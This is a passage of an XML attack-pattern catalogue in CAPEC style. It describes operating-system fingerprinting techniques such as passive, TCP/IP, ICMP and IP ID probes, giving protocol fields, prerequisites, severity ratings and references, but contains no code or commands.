					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>311<!--Fingerprinting Remote Operating Systems--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure</Reference_Author>
					<Reference_Author>Joel Scambray</Reference_Author>
					<Reference_Author>George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 56</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC793 - Transmission Control Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc793.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Chapter 8. Remote OS Detection</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC,
						ISBN:978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>The Art of Port Scanning</Reference_Title>
					<Reference_Edition>Volume: 7, Issue. 51</Reference_Edition>
					<Reference_Publisher>Phrack Magazine</Reference_Publisher>
					<Reference_PubDate>1997</Reference_PubDate>
					<Reference_Link>http://nmap.org/p51-11.html</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="313" Name="Passive OS Fingerprinting" Pattern_Abstraction="Standard"
			Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker engages in activity to detect the version or type of OS
						software in a an environment by passively monitoring communication between
						devices, nodes, or applications. Passive techniques for operating system
						detection send no actual probes to a target, but monitor network or
						client-server communication between nodes in order to identify operating
						systems based on observed behavior as compared to a database of known
						signatures or values. While passive OS fingerprinting is not usually as
						reliable as active methods it is more stealthy. </Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Network Layer</Targeted_OSI_Layer>
						<Targeted_OSI_Layer>Transport Layer</Targeted_OSI_Layer>
						<Targeted_OSI_Layer>Application Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="Any">
								<Related_Protocols>
									<Related_Protocol Name="Internet Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="User Datagram Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="lnternet Control Messaging Protocol"
										RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="Transmission Control Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The ability to send and receive packets from a remote target, or the
						ability to passively monitor network communications. </Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text> Installing a listener on the network requires access to at least one host,
					and the privileges to interface with the network device. </Text>
			</Resources_Required>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>311<!--Fingerprinting Remote Operating Systems--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure</Reference_Author>
					<Reference_Author>Joel Scambray</Reference_Author>
					<Reference_Author>George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 56</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC793 - Transmission Control Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc793.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Chapter 8. Remote OS Detection</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC,
						ISBN:978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>The Art of Port Scanning</Reference_Title>
					<Reference_Edition>Volume: 7, Issue. 51</Reference_Edition>
					<Reference_Publisher>Phrack Magazine</Reference_Publisher>
					<Reference_PubDate>1997</Reference_PubDate>
					<Reference_Link>http://nmap.org/p51-11.html</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="314" Name="IP Fingerprinting Probes" Pattern_Abstraction="Standard"
			Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker engages in IP-based techniques for the purpose of
						fingerprinting operating systems on the network. By interrogating a
						particular IP stack implementation with IP segments that deviate from the
						ordinary or expected rules of RFC 791, an attacker can construct a
						fingerprint of unique behaviors for the target operating system. When this
						set of behaviors is analyzed against a database of known fingerprints, an
						attacker can make reliable inferences about the operating system type and
						version. </Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Network Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="ICMP" RFC="791">
								<Related_Protocols>
									<Related_Protocol Name="Internet Control Messaging Protocol"
										RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The ability to send and receive TCP segments from a target in order to
						identify a particular TCP stack implementation. </Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text/>
			</Resources_Required>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>312<!--Active OS Fingerprinting--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 56</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC793 - Transmission Control Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc793.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Chapter 8. Remote OS Detection</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC,
						ISBN:978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>The Art of Port Scanning</Reference_Title>
					<Reference_Edition>Volume: 7, Issue. 51</Reference_Edition>
					<Reference_Publisher>Phrack Magazine</Reference_Publisher>
					<Reference_PubDate>1997</Reference_PubDate>
					<Reference_Link>http://nmap.org/p51-11.html</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="315" Name="TCP/IP Fingerprinting Probes" Pattern_Abstraction="Standard"
			Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker engages in TCP stack fingerprinting techniques to determine
						the type and version of operating systems on the network. TCP Fingerprinting
						involves manipulating portions of the TCP header or other characteristics in
						order to elicit a unique and identifiable response from an operating system.
						This response is compared against a database of known operating system
						fingerprints and a guess about the operating system type and version is
						made.</Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Network Layer</Targeted_OSI_Layer>
						<Targeted_OSI_Layer>Transport Layer</Targeted_OSI_Layer>
						<Targeted_OSI_Layer>Application Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
						<Target_Attack_Surface_Type>Service</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="Any">
								<Related_Protocols>
									<Related_Protocol Name="Internet Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="User Datagram Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="lnternet Control Messaging Protocol"
										RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="Transmission Control Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The ability to send and receive TCP segments from a target in order to
						identify a particular TCP stack implementation. </Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>312<!--Active OS Fingerprinting--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure</Reference_Author>
					<Reference_Author>Joel Scambray</Reference_Author>
					<Reference_Author>George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 56</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC793 - Transmission Control Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc793.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Chapter 8. Remote OS Detection</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC,
						ISBN:978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>The Art of Port Scanning</Reference_Title>
					<Reference_Edition>Volume: 7, Issue. 51</Reference_Edition>
					<Reference_Publisher>Phrack Magazine</Reference_Publisher>
					<Reference_PubDate>1997</Reference_PubDate>
					<Reference_Link>http://nmap.org/p51-11.html</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="316" Name="ICMP Fingerprinting Probes" Pattern_Abstraction="Standard"
			Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker engages in ICMP stack fingerprinting techniques to determine
						the operating system type and version of a remote target. The role of ICMP
						as an ubiquitous diagnostic messaging protocol means that ICMP
						fingerprinting techniques are applicable to almost any internet host in a
						similar manner as TCP. ICMP fingerprinting techniques involve the generation
						of ICMP messages and analyzing the responses. This method is limited in that
						most firewalls are configured to block ICMP messages for security reasons,
						so it is most effective when used on an internal network segment. OS
						fingerprints using ICMP usually involve multiple different probes as the
						information returned from any one probe is usually insufficient to support a
						reliable OS inference. </Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Network Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="ICMP">
								<Protocol_Structure>
									<Protocol_Header ID="1">
										<Protocol_RFC>RFC 792</Protocol_RFC>
										<Protocol_Field_Name>Type</Protocol_Field_Name>
										<Protocol_Field_Description>The ICMP Type Field determines
											the function of the ICMP query. A Type 8 message directs
											the target to reply to the sender of the echo request
											message with an echo reply message. In forming an echo
											reply the source and destination addresses are switched,
											the Type field is set to '0', any data contained in the
											data portion of the echo request is sent "echoed" back
											to the host, and the checksum is recalculated. </Protocol_Field_Description>
										<Protocol_Operation_Code>8</Protocol_Operation_Code>
										<Protocol_Data>ICMP echo requests may contain arbitrary data
											as a payload. When the ICMP Type is 8 (echo request),
											the data received in the echo message must be returned
											in the echo reply message. </Protocol_Data>
									</Protocol_Header>
								</Protocol_Structure>
								<Related_Protocols>
									<Related_Protocol Name="Internet Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The ability to generate and analyze ICMP messages from a target. In cases
						where certain message types are blocked by a firewall, the reliability of
						ICMP fingerprinting declines sharply.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>312<!--Active OS Fingerprinting--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 56</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC792 - Internet Control Messaging Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc792.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC1122 - Requirements for Internet Hosts - Communication
						Layers</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc1122.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Ofir Arkin, et.al</Reference_Author>
					<Reference_Title>A Remote Active OS Fingerprinting Tool using
						ICMP</Reference_Title>
					<Reference_PubDate>2008</Reference_PubDate>
					<Reference_Link>http://ofirarkin.files.wordpress.com/2008/11/login.pdf</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="317" Name="IP ID Sequencing Probe" Pattern_Abstraction="Detailed"
			Status="Draft">
			<Description>
				<Summary>
					<Text>This OS fingerprinting probe analyzes the IP 'ID' field sequence number
						generation algorithm of a remote host. Operating systems generate IP 'ID'
						numbers differently, allowing an attacker to identify the operating system
						of the host by examining how is assigns ID numbers when generating response
						packets. RFC 791 does not specify how ID numbers are chosen or their ranges,
						so ID sequence generation differs from implementation to implementation.
						There are two kinds of IP 'ID' sequence number analysis:</Text>
					<Block Block_Nature="List">
						<Text>1. IP 'ID' Sequencing: Analyzing the IP 'ID' sequence generation
							algorithm for one protocol used by a host.</Text>
						<Text>2. Shared IP 'ID' Sequencing: Analyzing the packet ordering via IP
							'ID' values spanning multiple protocols, such as between ICMP and
							TCP.</Text>
					</Block>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Network Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="ICMP" RFC="791">
								<Protocol_Structure>
									<Protocol_Header ID="1" Name="IP Header">
										<Protocol_Field_Name>Identifier</Protocol_Field_Name>
										<Protocol_Field_Description>The Identifier field 'ID' is a
											16 bit field used for fragment
											reassembly.</Protocol_Field_Description>
									</Protocol_Header>
								</Protocol_Structure>
								<Related_Protocols>
									<Related_Protocol Name="Internet Control Messaging Protocol"
										RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="Transmission Control Protocol" RFC="793">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="User Datagram Protocol" RFC="792">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="IP Datagram Reassembly Algorithms"
										RFC="815">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="Path MTU Discovery" RFC="1191">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Typical_Severity>Low</Typical_Severity>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>314<!--IP Fingerprinting Probes--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 56</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC793 - Transmission Control Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc793.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Chapter 8. Remote OS Detection</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC,
						ISBN:978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>The Art of Port Scanning</Reference_Title>
					<Reference_Edition>Volume: 7, Issue. 51</Reference_Edition>
					<Reference_Publisher>Phrack Magazine</Reference_Publisher>
					<Reference_PubDate>1997</Reference_PubDate>
					<Reference_Link>http://nmap.org/p51-11.html</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="318" Name="IP 'ID' Echoed Byte-Order Probe"
			Pattern_Abstraction="Detailed" Status="Draft">
			<Description>
				<Summary>
					<Text>This OS fingerprinting probe tests to determine if the remote host echoes
						back the IP 'ID' value from the probe packet. An attacker sends a UDP
						datagram with an arbitrary IP 'ID' value to a closed port on the remote host
						to observe the manner in which this bit is echoed back in the ICMP error
						message. The identification field (ID) is typically utilized for
						reassembling a fragmented packet. Some operating systems or router firmware
						reverse the bit order of the ID field when echoing the IP Header portion of
						the original datagram within an ICMP error message.</Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Transport Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="IP" RFC="791">
								<Protocol_Structure>
									<Protocol_Header ID="1" Name="IP Header">
										<Protocol_Field_Name>Identifier</Protocol_Field_Name>
										<Protocol_Field_Description>The Identifier field 'ID' is a
											16 bit field used for fragment
											reassembly.</Protocol_Field_Description>
									</Protocol_Header>
								</Protocol_Structure>
								<Related_Protocols>
